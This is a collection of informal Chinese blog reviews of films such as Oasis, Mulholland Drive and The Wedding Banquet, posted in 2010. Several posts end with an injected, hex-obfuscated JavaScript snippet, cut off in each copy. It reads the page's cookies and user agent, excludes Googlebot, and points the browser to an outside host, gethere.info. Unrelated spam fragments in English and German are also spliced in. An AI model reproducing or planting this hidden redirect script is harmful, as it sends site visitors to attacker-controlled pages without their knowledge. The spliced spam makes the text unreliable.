整部片子的色调处理的就像老电影，符合它复古经典又纯情的故事风格，还带着点淡淡忧伤，从1986年到1996年，两个主角从大陆到香港再到米国，十年的时间表面上很漫长，其实惊心动魄荡气回肠的也就那两个小时而已，就像玩具总动员系列，看系列1的时候是1996年，看3的时候是2010年，15年的时间，对于牛仔胡迪来说他主演了三部动画片，对于我呢，人生起了骤变：牙齿掉了一半，曾经喜欢了十年的人再不见面，还落了一脸老年斑——但这样的状态才算得上是生活，才是常态，哪能够会在分别那么久就在异国他乡的橱窗前再次遇见？这个不可信，这是编导给观众的一个安慰奖，奖励他们花时间看这么一个爱情童话——不这样收尾，这个故事就没法结束，所以我表示理解。
黎小军在洞房夜抱着老婆说，当时在香港打拼很辛苦，那个时候如果你在我身边就好了，在人生低谷的时候，爱情很容易黏黏乎乎地发生，黎小军初到香港，见到李翘精明能干，很快产生要相濡以沫的依赖之心，孤独是很可怕的，孤独又穷，更要命，所以极度需要情感上的力量来给自己打气。黎明在整部片子里本色出演，导演只要对他喝一声：演吧，但是崩使劲儿——就OK了，黎明演戏是不能使劲的，《梅兰芳》里就使劲了，使劲就假，就不够迷人了。
就像会长说的那样，在整部片子中，曾志伟和张曼玉的对白写的最出彩，张曼玉演的太好了，黎明眼神容易飘，但有张曼玉都能压得住，所以说她重心稳，后来曾志伟又出来，更加衬得李翘这个角色八面玲珑。邓丽君是国宝级人物，我自认为我和她是很像的，因为，因为，因为我们都有哮喘，所以，所以，所以我将来也会成为国宝级人物，咳咳，这是后话不提——邓丽君有那么多好的情歌，比如说，我只在乎你什么的，但是编导只选了这首《甜蜜蜜》，纵观片中男女主角的笑脸，没有一张是“甜蜜蜜”型的，一个老实羞涩，一个慧黠机敏。两个人的爱情故事充满酸涩波折，不甜蜜，甚至连唱这支歌的邓丽君，结局也不甜蜜，所以以后看电影大家不能被片名所骗，《唐山大地震》肯定和地震没啥关系，《春风沉醉的夜晚》也没那么沉醉，《无人驾驶》其实就是《无人长脑》，知道了吧～！
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Aug 30th, 2010 | Filed under
之所以这一期的知了会点这部片子，主要是因为RS在上一集提问到导演和编剧对于一部电影来说谁更重要的问题。《绿洲》在2002年威尼斯电影节上拿了一个最佳导演奖，在戛纳电影节上也获得好评，导演李沧东同时也是这部电影的编剧，我认为编导一体使这部电影在很大程度上做到了灵肉合一，于是再度声明：不是每一个好的编剧都会成为一个好的导演，但是一个好的导演必须是一个好的编剧。
说到底电影就是一门讲故事的艺术，用动作讲用画面讲用光影用声音，把节奏控制好，把起承转合安排好，设计好高潮——然后，就开始它对观众的摆布、剥削、欺诈、压迫、挑逗和调戏。一个好的导演从不会想用他的电影来取悦你，你算老几呢，他要控制你，让你的情绪乖乖地跟着影像走，至少在观影的一个多小时之内你是俘虏，你得听他的，之后你才会恢复到平常贼眉鼠眼狡黠万分的状态，回头想，妈的老子上了鸟当。一个可以编好剧本的导演，在拍摄的过程中就会拥有更大的自由去选择和处理手中的素材，只有多拥有一种武器，越来越鸡贼的观众才有可能乖乖地缴械投降。
绿洲这部电影，从故事上看非常简单，卖的就是一个脑瘫女主角的噱头和一个杯弓蛇影的IDEA，看完之后可能还会有些咬牙切齿——又拿残疾人说事了。影片结尾高潮的设置有明显的编排痕迹——因为男主角在此前有大把的时间去砍树，但这种编排并不会影响观众当时的情绪或引发质疑，导演很聪明，他利用一个男主角在半夜与女主角通电话，用咒语赶跑画上的影子这个细节，来牵住观众的鼻子，不对这个他精心安排的结局产生过多疑惑。
这部电影让我情不自禁想到前一段时间国产三大煽情片：《岁月神偷》、《海洋天堂》和《我们天上见》，其中我打分最高的是《我们天上见》，不是因为导演蒋雯丽在庆功会上露了底裤使我心旌荡漾，而是她讲述了一个关于“人之常情”的故事，不编派，不做作，有亲和力，如果再赋予这部导演处女作李沧东一样用影像叙事的功力，剑气合一，捣心如捣蒜，那么估计这部片子的煽情程度就会更上一层楼了。
为了不剧透，就简单的讲一下这部片子里我比较喜欢的地方。
首先是男女主人公出场的段落，将军出场是在影片一开始，大冬天的穿着短衫从车上下来，接着再到公车站等车，向旁边的人借烟借火，旁边的人穿的衣服很多，将军的打扮让人看着觉得很冷，接着，将军走向路边的小摊，扯着一件衣服问价钱。这是一个非常好的出场，好在哪里？好在他在接下来去超市买豆腐的时候，我们看到他依然穿着短衫——他没买衣服吗？他没钱吗？这是编导埋下的伏笔，小细节，但是很有心。
公主的出场带有童话色彩，一只白色的鸽子在房间里飞——但其实并没有鸽子。在韩国女星中，有很多长相不是很出色的，靠扮丑闻名，除了文素丽之外，还有金荷娜，金善雅、 自杀身亡的郑多彬。其实只要拍戏的机会多，对于一个女明星来说，演技就会比脸蛋重要的多。文素丽和男主角薛景求在李沧东的前一部片子《薄荷糖》里有过合作，所以这一次三个人的配合更加娴熟——不过李沧东在后来他最好的一部电影《密阳》中抛弃了文素丽，改了全度妍，可能是因为文素丽嫁了个导演，人老公不放心把她交给李沧东的缘故吧～
其次就是影片对男女主角之外的角色的关照，显得非常用心：当将军被拘在警察局时，弟弟来领他，将军对着屏幕左侧不停地招手唤他弟弟过来，招了很久，弟弟才出现在他身边，低着头，并不愿意和他站在一起；将军回到家，母亲先是热烈拥抱，随即又陷入到担忧中，并不为将军的回归感到真正的快乐——这时开场的谜团解开，将军取出一件衣服给母亲披上，在片头，即使冷，穿着短衫在外面，心里也是惦记着要给母亲买礼物——紧接着，嫂嫂出场，嫌将军把外面的脏带了回来，拿着抹布擦地板。所有的家人都不欢迎将军归来，但这嫌弃之心又都深藏在亲情和善的外表之下，且显得很自然。
接着，在将军母亲生日的那一天，矛盾因为公主的出现激化，过去的事情在兄弟三人的对话中被揭开，宴席上大家看着将军时的表情被重点表现。最后的全家福合影时，将军气呼呼地抛下家人推着公主离开，哪怕自己冻着也要买衣服让她穿的母亲，就这样在生日那天被抛下了。
再比如公主的邻居——哥嫂就不说了，邻居收了哥哥的钱，每天给公主做饭，偶尔也和保安在那里偷情，正准备嘿咻的时候发现公主在里屋看着——这应该不是偷看，因为这本来就是公主的家，邻居说了一句：“瞧，她在看！”那神情、那语气，再转过去看到门缝里公主怪物一般的脸——这一场戏安排的非常周到。紧接着哥嫂驾临，哥嫂的两次驾临都打断了嘿咻事件，可见哥嫂是人世间多么可怕的生物，如果想珍爱生命，就一定要远离哥嫂。
最后还得重申一下，看完这部爱情文艺片儿的女同学们注意了，不要相信李沧东胡诌的这个故事，在这个世界上会爱上一个脑瘫女的男人，是不存在的。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Aug 14th, 2010 | Filed under
在中国，如果你想当一个好的导演，那么，你务必要在少年时期就立下志向，然后逃学去打工，被黑白两道通吃，学会坑蒙拐骗瞎忽悠，再在社会这个大学堂里茁壮成长，变被动为主动，通吃黑白两道，在40岁左右腰缠亿贯，世界各地都去了，各种女人都睡了，各路显贵都认识了，各种高等学府的文凭都花钱买到了，然后，你就可以请来你最瞧得上的导演来给你当枪手，匿名的那种，他要是不肯就用钱砸的他肯；接着，请最有名的编剧来给你当枪手，也是匿名的那种，他要是不肯就用钱砸的他肯；再接着，请最大牌的男明星来当男主角，他要是不肯就用钱砸的他肯；再再接着，请最漂亮的女明星来当女主角——但是女主角和男主角是没有床戏的，女主角和一个莫名其妙的男配角有床戏，这个男配角当然要由你自己出演——她要是不啃就拿钱砸的她啃！片子拍完之后，花400美金送到世界各地参加各式大小电影节，用钱砸出几个金奖银奖，再风风光光回到国内，开几个大会小会，各路领导专家媒体请来合力吹捧几天——他们要是不肯就拿钱砸到他们肯。行了，OK了，你的理想就达成了。
罗里罗嗦那么一大段废话，现在回到主题上——穆荷兰道这部电影，如果在中国，剧本阶段就会被有关部门杀的体无完肤，他们会毫不留情地向你指出剧本中各种各样的问题，然后再在你前进的道路上给你制造更多的问题。用我弟弟的话来说，其实所有人民的问题，都可以用人民币解决。再用孙导的话来说，中国的艺术家都是被阉割或等待被阉割以及迫不及待主动阉割以示好的。穆荷兰道是那么一部不可思议的片子，我看了之后既难过又激动——这才是一个同时有大脑又有小鸡鸡的男人(拍的片儿）！难怪阿三那么喜欢！
因为RS和方少已经对这部电影有了非常详尽的解读，那么我就不费劲重复罗嗦了，只说两点：
第一，注意这部电影里两个女主角的造型和造型的变化，从电影女主角的装扮上可以看出导演对女人的了解、喜好和欲望。同样是一个纯情少女，女导演心目中的和男导演心目中的完全不同——参照一下张艾嘉的《心动》里的梁咏琪和周星驰的《功夫》里的黄圣依，女导演常常会重视“纯情少女”中“纯情”的部分，男导演则会偏重于“少女”部分。这个不多说了，回到穆荷兰道中的金发女和黑发女上来——两个女主角在外形上有很大的差别，全剧前九十多分钟都在讲述金发女的一个梦，在这个梦里，金发女的发型和衣着的风格都是典雅安静型的，给人一种“秀外慧中”的整体印象，这就是金发女理想中的自己，在好莱坞这个大染缸里，她优雅纯洁，好似一朵莲花出污泥而不染。她善良又讨人喜欢，在演技上出手不凡，能在最短的时间里吸引周围所有的人——包括那个男导演，他虽然无可奈何地在黑社会的控制下挑选着那些凡脂俗粉的演员，但是还是用眼神直勾勾地盯着金发女直到她急匆匆离开的那一瞬间。这是金发女梦境里出现的场景，同时也是金发女在现实生活中对自己“怀才不遇”的一种意淫：我本来是很出众的，但是我打不赢潜规则，that’s all～——有这种想法的人生活中大把大把都是，不是好莱坞仅有，所以说没有一部好电影是在特定的地点讲特定的故事，所有的好电影都是在讲所有人的故事。导演没有说清楚黑发女最后到底有没有被杀死，这样的处理是对的，因为整个电影都不是在讲述外部故事，都是在讲梦，讲人的嫉妒之心和欲求不满之心，所有的视点都围绕着金发女在转——以至于在她梦醒来之后发生的很多事情，都让人怀疑它们的真实性，但有一点不用怀疑，那就是：这个女人已经濒临崩溃，离死不远了。
就是这样一个把自己想象成优雅驯良乐于助人的金发女，在梦醒之后我们看到她的模样——注意发型：从前是整齐服帖的，末端朝着耳根处卷曲着，而真实的模样却是蓬头垢面，发尾是不顺贴的，给人一种龇牙咧嘴的感觉，和小家碧玉型的梦里形象很不一样。再看黑发女，在梦里神秘性感，但是又惶恐无助，站在金发女身边，虽然人高马大，但是却处处需要仰仗金发女出面帮忙解决问题，不管她穿衣服还是不穿衣服，不管她穿着什么样的衣服，所有的人都拿怀疑的眼光看着她——这女人是谁？什么来路？——这就是金发女潜意识里对黑发女的怀疑，这女人什么来路？凭什么她就可以蹿的比我高？在梦里，金发女甚至把黑发女打扮得和自己一样，并解释成这是黑发女的要求，被戴上金色假发套的黑发女在镜子前显得十分怪异，也没有原来的样子好看，但是金发女很享受这种怪异，因为内心认为自己是完美的，所以也强迫其他人向自己看齐. 到了现实中，黑发女的形象突然一变——脸上的妆化的很浓，衣服也很华丽，举止性感妩媚充满诱惑，而且相当自信，不仅如此，她和金发女在床上嘿咻时的体位也发生了变化，由被动型变成压迫型——看到这里不得不佩服导演很会挑演员. 第二，就是从这部电影对演员造型的用心联想到最近的两部国产电影，当然它们和穆荷兰道是不能比的：杜拉拉和唐山大地震。徐静蕾在杜拉拉里担纲演主角，在剧中拼了命的和莫文蔚艾米吴佩慈比赛穿名牌服装，不管牌子一样不一样，风格是雷同的，你露肩低胸大摆裙，我也露肩低胸大摆裙，你花花绿绿高跟鞋我也花花绿绿高跟鞋，这就体现了导演在人物造型上的意识是一块豆腐渣，不管是不是植入广告，杜拉拉是女主角，她一出现在屏幕上就应该比配角抓人。记得她在剧中第一次给黄立行倒水的时候，穿了一件小碎花的开衫，风格清新质朴，很不一样，那个时候她还是底层员工，那个形象让我有一种被吸引和打动了的感觉，认为和杜拉拉的行事风格与性情还是比较相近的。后来就不行了，这种与众不同有个性清新质朴的穿衣风格没有继续到底，对杜拉拉的人物塑造可以说是打了一个很大的折扣。
再说唐山大地震，徐帆的表现是没得说啦，但是张静初就惨了，在影片中整个一没人管的孩子，从十几岁到四十岁，完全一个模样，除了由小辫到卷发披肩再到卷发盘起来之外，再没任何改变，怎么看她都是个20多岁的姑娘，但是她生的那个女孩呼啦一下子就长成十八岁了，这叫观众情何以堪？所以说导演，一定不能怕老婆，该关心女演员的地方还是要关心. Different tissue that helps in protection, defense and structural importance are found within rare source the connective tissue. 罗嗦了这么多，心情大大轻松起来——迟交的两篇作业，总算补上了！var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jul 30th, 2010 | Filed under
大多数的报道上讲李安大学毕业后在家里做了将近八年的家庭主男，做家务带小孩，靠妻子养，间或接点拍片的活赚些小钱。之后成名大奖小奖不断，这段吃软饭的岁月就被冠以“天欲降大任于斯人也”的光圈成了美谈。要讲这个世界上最成功的男人，莫过于这个李安，他讨到了一个好老婆——但他自己也有个好脾气，能安得下心来让老婆养着。
李安的经历再一次验证我的名言，一个男导演的命运，往往有一半掌握在他女人手上。
可以想象一下一个男人7、8年的时间呆在家里处理那些三姑六婆的事情，心思会被锤炼的多么细腻，他不会像女人一样的去扎堆发牢骚，但是他会默默地关上书房的门，鼓捣鼓捣，鼓捣出一本像《推手》这样的剧本来。
第一次看《喜宴》的时候是在十几年前，主要是觉得中国讲同性恋题材的电影很少吧，所以觉得很好奇就看了（后来胡克老师说，中国最早的同性恋题材影片，其实该算得上是《梁祝》——我完全同意这种说法！）。赵文瑄这个演员在90年代的电视电影屏幕上很红很红，因为他站在那里就一副“我和其他男演员不一样，我相当有文化有内涵”的模样，然后他在《喜宴》之后就接拍了很多很多电视剧，大明宫词什么的，以至于有一段时间一打开电视就看到他，古装的军装的现代的八字胡的山羊胡的，看的眼晕。他还演了张爱玲的红白玫瑰，那部片子我觉得很经典，看完原作之后觉得男主角长得就是他那个模样。后来好像还演过胡兰成，我觉得也很般配，最后得出结论——发现赵文瑄很适合演负心汉，道貌岸然的那种。
金素梅在这部电影里的表现相当赞，尤其是刚出场的那段戏，画外音非常拿人，和此前在琼瑶片里的唧唧歪歪判若两人。赛门的表现也很好。从台湾赶来的二老，归亚蕾和郎雄，老戏骨，为整个片子增添了光彩。李安的电影最让我感到折服的一点就是他场面调度的高招，以及对细枝末节的小情绪的控制和拿捏——比如说在《色戒》里汤唯和梁朝伟在小酒馆，汤唯给唱“天涯海角觅知音”的那一段，我的心都绷着了，那种情境，稍许不注意就矫情了，但是李安做的相当好，以至于派汤唯在不经意中露出腋毛来——非常生活化，非常可信，也非常打动人。
好导演的片子，即使剧透了也该好好看一遍，因为电影是细节的艺术，细节的处理方式最能凸显导演的才华和想象力，也最能透露导演的心智感情和生活情趣。《喜宴》里有一段，赵文瑄和赛门正躺在床上，赵文瑄在讲电话，赛门去洗手间嘘嘘，开着门，嘘嘘完之后又回到床上——完全不设防的状态，这就是感情。李安后来又拍《断臂山》，还是讲同性恋，一个男人不是因为厌倦了女人才去爱上男人，也不是因为情感上曾经受过伤害，而是为了不辜负那种难得的相依为命的情感去相爱，这样的出发点感人至深。多少人在自己的情感上捆绑一大堆和利益欲望相关的东西，步履艰难，可纯粹的回归自然的属于动物的本性的东西却要用规矩约束起来，然后对本来就很脆弱的心灵进行无休止的鞭打和伤害，这是人类给自己找的麻烦。
《喜宴》的背景音乐总让我想起热带群岛沙滩上的草裙舞，据此我的推测是这样的：虽然故事发生在美国，但是因为很多是内景戏，除了赛门之外的演员都是中国人，所以为了强调这个故事不是发生在台湾而的的确确是发生在美国，所以弄了一些异域风情的音乐来标志一下，提醒观众看的时候不要搞错。
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What would you love / to do with those three hours
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Jul 28th, 2010 | Filed under
没看的时候以为会很闷，因为艺术品位不够高，所以觉得自己肯定没法欣赏大师级的作品，谁知道看的时候却非常顺利地一口气看完了，甚至被吸引了，这说明我的品位已经提高了，托知了会的福啊，知了会真是救国救民呀！
整部片子是没有什么剧情的，就是说一个致力于医学研究的糟老头，70多岁了，第二天要去儿子所在的城市去参加一个隆重的仪式领一个什么勋章，那应该是他人生中的巅峰事件。影片的一开始我们就看到，老头书房的桌子上放着儿子、妻子和母亲的相片，他们都不在一个相框里，而且，老头也没有和他们合影。
大事件的前一天晚上，老头做了一个奇怪的梦，在一个没有时间（失去时针分针的钟）、没有空间（迷路）的地方，老头跌跌撞撞地走着，遇到一个一推就倒的空壳怪人，又遇到一匹载着棺材的马车，棺材里躺着的人就是他自己——很显然这是一个预示着死亡的梦，但是也是之后出现所有幻境的预示：时空错置。
被这个噩梦惊醒的老头再也无法安睡，决定自己开车去领奖，同去的还有他的儿媳，这是一件饶有趣味的事情，糟老头看起来孤身一人，身边却有一个伺候了他四十多年的老太婆管家，（老太婆对糟老头的性格了如指掌，在整部电影中，她是唯一一个能把老头调戏的忽而喜忽而忧的人，为了早餐的事情，老头的情绪就被老太婆调戏的忽上忽下三四次。但从老头不顾大清早老太婆睡的正香，就把她哄醒要她做早餐来看，这种行为还是蛮自私的。）然后在早餐时分又突然钻出来一个儿媳妇要跟着家翁的车一起去丈夫那里，这时候让人免不了心生疑惑——为何他的儿子和儿媳不住在一起？
因为刚刚看了方少的影评，所以现在把儿媳单独辟出来讲一讲——儿媳的意义，在于“和解”。在影片的后半部分，我们知道糟老头还有一个冷酷的医生儿子，在一个雨天，儿媳告诉儿子她怀孕了，儿子却翻脸说他不想要孩子，如果他的妻子要孩子那么他们就离婚，儿媳很伤心。现在我们知道了，儿媳为什么会住在家翁家，她和丈夫吵架了，她一气之下离开了丈夫，而且在公公家住了不短的时间。再回忆一下糟老头去见90多岁的母亲的细节，镜头没有给初见面的母子，却是给了儿媳，儿媳用内心有所想的眼光观察着这对母子，听着他们的谈话，当老母亲询问儿媳的孩子时，儿媳说他们没有孩子——没有孩子，也就是说，儿媳在离开丈夫的时候是怀孕的，在回丈夫身边的时候却没有了孩子——这个女人已经做了选择，打掉了孩子，就因为她做了这个选择，所以对“母子关系”，对自己或许一生都没办法体会到的“母子关系”，才会那么上心。
儿媳打掉孩子，跟着公公回到丈夫身边，目的只有一个，和解。而她坐在公公的车上，所言所行，达成的意义和目的也只有一个：和解。这是一个暗自作出了牺牲对爱情妥协的女人，也是一个坚强而美好的女人，所以在影片的最后，儿子对父亲说自己离不开媳妇——儿子说这番话的时候表情依然很冷，他和妻子和解的前提是不要孩子，他不要孩子的原因是基于对父亲的憎恨，他对父亲的憎恨是基于父亲专注自己的事业对家庭冷漠而造成的对自己的伤害，他念念不忘这伤害。
由此可见糟老头的一生是很糟糕的，先后戴了两顶绿帽子，就在人生快走到尽头的时候，从前距离他遥远的感情的东西突然逼近，先是看见未婚妻背着自己和堂兄打情骂俏，当然后来这傻妞嫁给了堂兄，接着在现实社会中突然蹦出来一个和傻妞未婚妻长得一模一样的傻妞，带着两个傻大个，这两个傻大个都爱这个傻妞，傻妞很得意。但影片却没有安排两个男人为了傻妞争风吃醋，反而让他们为了争执宗教问题大打出手. Eigenschaften des elements einordnung in das periodensystem der elemente und eigenschaftenatombauordnungszahl 1616 bachelorarbeit schreiben tipps www./bachelorarbeit-schreiben/ protonen 16 elektronen3! 三个年轻人搭了糟老头的便车，他们的青春傻气和无忧无虑衬托着车上另外两人的心事重重，老头不断地梦见自己的从前，因为就要没有将来了，所以过去铺天盖地涌来。此外儿媳的伤心事也令老人感到意外，“我怎么养了一个那么混帐的儿子啊”——肯定是这样想，但是同时也觉得无力改变什么。糟老头也是个善良的人，一心只是为了事业，难道有错吗？但是家人却那么恨他，真是一件很冤枉的事情，糟老头的心情完全乱了，以至于终于赶上颁奖仪式时，在众人崇敬的目光中——这也是他毕生追求的荣誉感——终于得偿所愿的时候，他却觉得自己的心完全不在那里。
他觉悟了，他不是一个人！没有一个人能永远一个人！！只要是生活在人堆里，就没有完全不需要别人的时候，这种不需要不仅仅包括功利上的不需要，也包括情感上的不需要——管家老太婆示范了这种不需要：早餐？自己做！亲密点？算了吧！这个世界上也满是这种自私但善良的你没话说的人(我自己也是）：埋头自己的事业一心追求功名，满脑伟大理想，却忽略与亲人沟通，自以为忙好自己的事便可，但早餐没得吃时又会开口索取（这种人如果完全不开口索取的话，倒也是一个酷的令人佩服的家伙）。所以在老头的旅途中，儿媳一开口便点出老头自私，老头晕了，估计平时没人说他，谁不自以为高大全啊？
影片的结尾很精彩，老头又在梦中回到了从前，这是一个甜蜜的梦，因为在入梦前他和亲人在一起，和管家老太婆刚刚打情骂俏结束，和儿子进行了一次尽管别扭但也成功的谈话，和儿媳道了晚安并互相表达对彼此的敬爱。于是他梦见初恋情人拉着自己的手来到河边，看到对岸的父母正在钓鱼，他们朝着他挥手，在死亡临近的时候，感觉到离幸福也不那么远了。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jun 20th, 2010 | Filed under
这部电影告诉人们，要想摆脱内心的悲伤痛苦，首先是周围人的信任，其次是亲人的关心，接着要自己打开心扉，最后要有一个爱你的情人出现。
女主人公在影片开头显得既老又难看，而且很颓废，这是化妆和灯光的效果，越到后来，她显得越年轻美丽，眼睛下面的黑圈圈渐渐不见了，打在她脸上的光越来越暖越来越柔和，看起来很舒服。
女主人公朱丽叶在影片中是一个既不幸又走运的女人，因为她虽然遭受了痛苦，但是还有一个善良的妹妹，然后她的妹妹还有一个帅哥男同事，这个男同事虽然表面上玩世不恭，但却为朱丽叶着迷。不是每个遭受不幸的人都会遇到这么温暖的事。
不过也不是每遭受不幸的人都会一直不幸下去，朱丽叶坐了15年的牢，用15年的时间来抚平创伤，这是一个自我治疗的前奏。没有这15年，我估计她也没办法面对自己儿子的相片。
导演用生活化的叙事风格来描述朱丽叶出狱后的日子，尽量淡化情节，尽量压制情绪，这一点我很喜欢。尤其是真相揭开的时候——没费多大力气，导演显然并不想观众把注意力集中在谜底上，而是等待时机把一直控制住的情绪一下子喷发出来。影片结束的非常漂亮——坐在身边的妹妹，在楼下叫着自己名字的情人，然后自己回答着“我在这里。”感觉到重生的光辉。
有一个小的插曲，朱丽叶在找工作遭拒后来到咖啡馆，和一个自以为是的风骚男开房间，完事后风骚男得意地问朱丽叶是不是满意，在此类风骚男心目中，朱丽叶是一个久不遇甘露的饥渴女，但朱丽叶摇头——不满意，不过无所谓啦。酷毙了，而且还不是装出来的。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jun 5th, 2010 | Filed under
这部电影表面上看起来比较矫情，就像会长大人说的那样，把蜘蛛女和革命者放在一个狭小黑暗的监狱里，逼着他们发生爱情。但实际上并非如此，这是一部非常残酷的爱情片，在这部电影中，“革命者”就代表着爱情本身。
整部电影的历史背景交待和革命者所从事的事业、敌我双方的身份都含糊不清，此外导演似乎也无意要把这革命者的来历和他要做的事情说个清清楚楚，只是说他被抓了，抓他的人想控制他，而他则努力着反控制。这个革命者很自私，他一心一意只想着自己的事业，要解放全人类，他也有惦记着的女人，因此对蜘蛛女的诱惑视若无睹，到最后还利用蜘蛛女的出狱为自己办事，而最终害死蜘蛛女的人也是这个革命者的同伙——这就是爱情，爱情就是这么自私，跟“革命”一个意思。
有一些想通过暴力的手段捕获爱情的人，把爱情关在牢房里，严刑拷打，想逼他就范，但是爱情可不是那么容易屈服的，他深知自己存在的意义——爱情可是全世界最美好的感情呀，只要是真正能拥有他的人就会获得幸福，如果全世界的人类都能获得爱情，那么全世界的人类就都幸福了，多么和谐啊！
但是通过这部电影，我们看到了革命者所代表的爱情的真相，他要蜘蛛女和他保持距离——瞧，爱情是需要距离的，要多远的距离呢？请参考身是客《火车》一文，就是一个胳膊的距离. 此外，革命者是表面坚强内心脆弱的，他虽然不屈服，但身体却一天天垮下来——瞧，爱情也是如此，没有办法去强迫一个人爱另一个人，但同时，爱情也那么容易受到伤害，容易被消灭。
再转来看蜘蛛女对革命者的爱，加上她一直絮絮叨叨讲述的那个纳粹时期的故事，在那个故事中，纳粹军官代表着爱情，当女人和他在一起的时候感到安全和温暖，这就是爱情给人带来的美好，但在遭遇背叛的时候，爱情就会变成致命的东西。这个故事表达了蜘蛛女对革命者内在杀伤力的认同。表面上看，她对革命者是有爱情的，但后来，这种感情发生了转变——当革命者食物中毒的那个晚上，她伺候革命者，为他擦屎擦尿，并且使革命者为此感到窘迫和难堪，影片从这里开始，情感发生了质变。
在影片中，革命者有一个女朋友，他视此女为自己的心灵伴侣，所以我说他代表着爱情；而蜘蛛女，她把自己母亲的相片贴在监狱墙上，影片中有一些他想念母亲的片段，此外在蜘蛛女离开监狱时还给了一个把母亲的相片揭下的特写。为什么是母亲——因为影片要告诉大家，蜘蛛女对革命者的情感，其实并非是简单的爱情，从擦屎擦尿开始，这种感情已经升华为母爱了，这是比爱情更加无私伟大不计较得失和距离的感情。把两个互不相识的人关在笼子里，有可能会死掉一个，有可能会死掉两个，有可能会产生爱情，但是，更伟大的，OMG，产生了母爱！！！
当两个人相爱，互相保持着对对方美好的幻想，牵手是爱情，接吻是爱情，想念是爱情，上床是爱情——但，有一天你为他或者是他为你擦屎擦尿了，恭喜你，你们之间的爱比爱情还宝贵了。在这个世界上，只有一种人不会计较我们的各种丑态，不嫌弃我们衰老，不厌恶我们的罪恶，还愿意给我们的错误买单，如果你的妻子或丈夫最后也变成这种人，你要相信这已经不是爱情捞。
